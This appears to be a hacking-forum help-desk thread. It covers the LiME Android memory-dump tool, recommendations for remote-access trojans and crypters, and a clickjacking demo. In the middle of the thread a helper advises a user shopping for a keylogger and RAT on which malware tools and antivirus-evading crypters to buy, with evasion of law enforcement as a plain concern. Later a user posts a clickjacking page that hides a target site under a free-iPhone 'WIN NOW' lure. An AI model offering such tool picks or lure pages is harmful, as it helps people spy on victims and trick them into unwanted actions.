[Aakash_Choudhary]

I didn't understand about this

https://github.com/504ensicsLabs/LiME

Can you tell with more explanation

Thanks

[Faith Connors]

I didn't understand about this

https://github.com/504ensicsLabs/LiME

Can you tell with more explanation

Thanks

Sorry only got to this now.

It's basically a memory dump for Android through adb. You plug your phone in, open the adb shell and run the package. You can get it to either dump to the phone's internal storage or sdcard or do it over the network and use netcat to pull data from it.

[Craze*]

I would like a suggestion before i spend some money , what is the best keylogger and what is the best Rat here HF , also who is a good programer here in HF

[Faith Connors]

I would like a suggestion before i spend some money , what is the best keylogger and what is the best Rat here HF , also who is a good programer here in HF

I honestly don't know what the best RAT is right now, there was a lot of sketchy stuff going on a while ago, sounded a lot like they started to cooperate with law enforcement, like DarkTrack making some public announcement that it wasn't intended for malicious use and changing their site, LumiLink starting to bug out sometimes and some other stuff with IM4 like the miner was broken and now recently privilege escalation also seems down. But If I had to say, I still trust LuminosityLink the most for the most features. Just check to see when it was last updated and such. Orcus is also very good, but of course you can't use it for malicious purposes and all that. Netwire should be your goto for crossplatform, although it lacks some features.

For a good crypter, I hear the two main good ones on the market right now are HawkLogger and NulldB. Pretty sure Hawk has been around for longer so I would go with them.

As for programmers, well it depends what you want built, like if you want web-dev stuff, native stuff, java, .NET, various scripts etc.
But I think DigitStudio is your best bet. https://hackforums.net/showthread.php?tid=5204496

[Tɦɛ Gʀiɱ]

Keep up the good work faith.

Make use of this helpdesk, guys.

[Faith Connors]

Keep up the good work faith.

Make use of this helpdesk, guys.

Yessir, still doing this.
Bumperino to get it back up.

[Aakash_Choudhary]

Thanks to clearify about "LIME"

Now my question is about clickjacking. I know its concepts but as a practical i want to know how i start testing of this practically ?Don't tell about OWASP i already read this but still lacking something about this

This is what i came to know :->


Testing for Clickjacking
==========================>
1.Open Site
2. Open Burpsuite & configure
3. Check Reponse and Request Header
4. If it missing "X-Frame-Options header"
Then it is vulnerable to CLICKJACKING

Test code
=========>

Code

<html>
<head>
<title>Clickjack test page</title>
</head>
<body>
<p>Website is vulnerable to clickjacking!</p>
<iframe style="opacity:0.5;position:absolute;" sandbox='allow-forms' width="1000" height="1000"
src="https://www.our_desire_site_for_testing_come_here/if_any_link_like_close_account_then_it_come_here_and_all_this_testing_site_embed_in_iframe"></iframe>
<img src="http://www.getaniphone5free.com/…/uploads/2011/12/free-ipho…"
style="position:ABSOLUTE;">
<div class="button">WIN NOW </div>
<style>
img{
left: 43%;
top: 35%;
}
.button{
position: absolute;
top: 81%;
left: 55%;
font-weight: bold;
}
.button:hover{
pointer: cursor;
}
</style></iframe>
</body>
</html>

===================================

So main part :->

Code

<iframe style="opacity:0.5;position:absolute;" sandbox='allow-forms' width="1000" height="1000"
src="https://www.our_desire_site_for_testing_come_here/if_any_link_like_close_account_then_it_come_here_and_all_this_testing_site_embed_in_iframe"></iframe>

Please correct me if i am wrong
Thanks

[semendaemon]

Thanks to clearify about "LIME"

Now my question is about clickjacking. I know its concepts but as a practical i want to know how i start testing of this practically ?Don't tell about OWASP i already read this but still lacking something about this
Please correct me if i am wrong
Thanks

ClickJacking is an attack vector that may or may not help you escalate XSS. You basically lay out on top of the DOM a layer of "invisible" iframe that takes your click wherever you put it and puts it elsewhere. How this is actually useful is extremely situational, though one common usage is CSRF protection bypassing. How? Research and figure out.

[shtajiryan]

I got kind of stuck. Any good materials someone can PM me?

[senopi]

What is good to start hacking

[Faith Connors]

I got kind of stuck. Any good materials someone can PM me?

What is good to start hacking

Have a look at the original post on this thread. There are some good links/resources there.

---

ClickJacking is an attack vector that may or may not help you escalate XSS. You basically lay out on top of the DOM a layer of "invisible" iframe that takes your click wherever you put it and puts it elsewhere. How this is actually useful is extremely situational, though one common usage is CSRF protection bypassing. How? Research and figure out.

<3

[Faith Connors]

Bumping before I go to bed <3

[Aakash_Choudhary]

Can i get lab for practice clickjacking ?
Thanks

[semendaemon]

Can i get lab for practice clickjacking ?
Thanks

Why do you need to be spoonfed so much? Just google examples, there's a couple on the first page. Break down the source code and understand it. It's literally placing an invisible iframe on top of the site to hopefully get you to click shit in exactly the places they want you to. The targeted sites are things you're probably already logged on like facebook etc.

[Faith Connors]

Tyty daemon for answering with such precision and elegance
Okay maybe not elegant but still thanks homie
Bumping back up to the top boys.